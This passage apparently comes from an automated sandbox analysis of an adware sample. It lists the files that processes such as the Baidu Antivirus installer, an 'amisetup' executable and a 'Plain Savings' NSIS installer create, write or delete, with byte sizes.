%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\detail.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Flower.png (3370 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ALLICON_05.png.7z (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Dream.png (970 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\detail_new.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\639C9925-1C42-4236-991B-AEAB22353808\ALLICON_05.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\icon4G.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Gold.png (490 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\detail_new.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\639C9925-1C42-4236-991B-AEAB22353808\detail.xml (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\icon4N.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\detail.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\detail_new.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\hipsadp\skin.xml (248 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\AutoInst.ini (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ALLICON_05.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\detail_new.xml (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\detail.xml (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Stars.png (2410 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\strlog\1448372475_BavTray_2296_strr.dat (41 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\detail.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\detail.xml.7z (855 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Planet.png (2410 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Speed.png (2410 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\detail.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\AutoInst.ini (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\config.ini (5708 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\detail_new.xml (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\detail.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0\detail.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\detail.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_OldStars.png (490 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\gray_icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\detail_new.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\gray_icon.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\639C9925-1C42-4236-991B-AEAB22353808\ALLICON_05.png.7z (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\icon.png (6 bytes)

The Adware deletes the following file(s):

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\639C9925-1C42-4236-991B-AEAB22353808 (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ALLICON_05.png (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73 (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\639C9925-1C42-4236-991B-AEAB22353808\detailDef.xml (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\639C9925-1C42-4236-991B-AEAB22353808\ALLICON_05.png (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\detailDef.xml (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\Temp\SkinRules.xml (0 bytes)

The process amisetup9587__9664.exe:2584 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\amipixel.cfg (107 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\5N2USN4O\index[1].htm (2097 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\amisetup9587__9664.exe:typelib (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WTGZIPUB\amipb[1].js (29021 bytes)

The Adware deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\amipixel.cfg (0 bytes)

The process OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_t3.exe:1612 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\mj (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\tlg (41 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\NSISEncrypt.dll (3219 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\lm (128 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\ns6.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\nsJSON.dll (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\IpConfig.dll (4136 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\WmiInspector.dll (3039 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\nsExec.dll (6 bytes)

The Adware deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\mj (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\tlg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\NSISEncrypt.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\IpConfig.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\lm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\ns6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\nsJSON.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\UserInfo.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\nsExec.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\WmiInspector.dll (0 bytes)

The process schtasks.exe:3576 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%WinDir%\Tasks\Baidu Antivirus Update.job (452 bytes)

The process ReportCommRetry.exe:2516 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\ReportCtrlCacheTemp.dat (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\bugreportconfig.ini (30 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\config.ini (32 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\LogExZipFile\BavLog_2015_11_24_9_4_13.zip (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\ReportCommRetry.log (543 bytes)

The Adware deletes the following file(s):

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\ReportCtrlCache.dat (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\ReportCache\CacheMetaDataTemp.ini (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\LogExZipFile\BavLog_2015_11_24_9_4_13.zip (0 bytes)

The process BavPro_Setup_B354.exe:3296 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHTasks001.dll (128 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\firsttips\close_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin\lockOpen.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\qs2fs_close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\VDownloader_Ask.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\black_pop_suessfully.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavBase.dll (254 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\main_title_unprotected.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree\tree_list_title.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\camrea_logo.png (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1146.BrotherSoftExtremeToolbar.rul (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\free.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dark.dll (198 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_advanced_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\gray_icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\qs2fs_close_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin\lockOpen.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_tools_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\dl_safe_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\investigate_op_layout1_bg.png (44 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\dl_threat_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CrashReport64.exe (5442 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkox_sel_disale.png (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\dl_scanning.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\green_big_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkbox_unsel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\SecurityCode.dll (190 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\main_title_number.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\wi.dat (262 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\deep_disable.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\redpoint.png (977 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\black_pop_suessfully.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Download\res\skin\icon\download.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\side_orange_arrow_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\context\context.ini (360 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\investigate_op_layout3_bg.png (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\summary_top_safe_custom.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\auto_bg_green.png (31 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\config.ini (6246 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log.dll (100 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\black_pop_excluded.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\bg\msg_bg_red_line.png (763 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\green_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkox_unsel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\line1.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\dl_threat.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1199.freevenpro.rul (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin\lockOpen.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1052.TigerSavings.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1112.SaveValet.rul (465 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\dl_scanning.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\settingsD.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\dl_safe.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bav.exe (9606 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\iconDown.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\customUp.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\language.ini (66 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\bh.dat (68 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1137.TVersityBar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\plugin\button_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\qs2fs_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_orange_arrow_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1110.BrowseForTheCause.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_red.bmp (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\dl_scanning.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\GuideSlice_6.png (91 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkbox_nor_unknown.png (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\Genieo.rul (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\tree_title_bk.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\unloadInvestigateTitle_cry.png (30 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\pcf_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin\usblockIcon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Download\res\skin\icon\saftyIcon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1147.EntrustedToolbar.rul (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\blue_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\hp_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\closeover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\main_title_noprocess.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BDrvComm.dll (1629 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin.xml (94 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\TopBtnMin.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\icon5G.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_audio_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1131.SocialSearchBar.rul (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\pop_bg.bmp (114 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bavnt.dll (26 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_7_slice_browser_setup_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\orange_btn_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1081.Funmoods.rul (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\config.ini (844 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_defense_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bfilter64.sys (62 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_addietoolbar.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\logosmall2.png (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\UrlIpConfig\UrlIp.xml (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\summary_top_safe_custom.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1158.UnfriendCheck.rul (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\RebateInformer.rul (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\light.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1161.Linksicle.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin\lockOpen.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\ProcessQuickScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
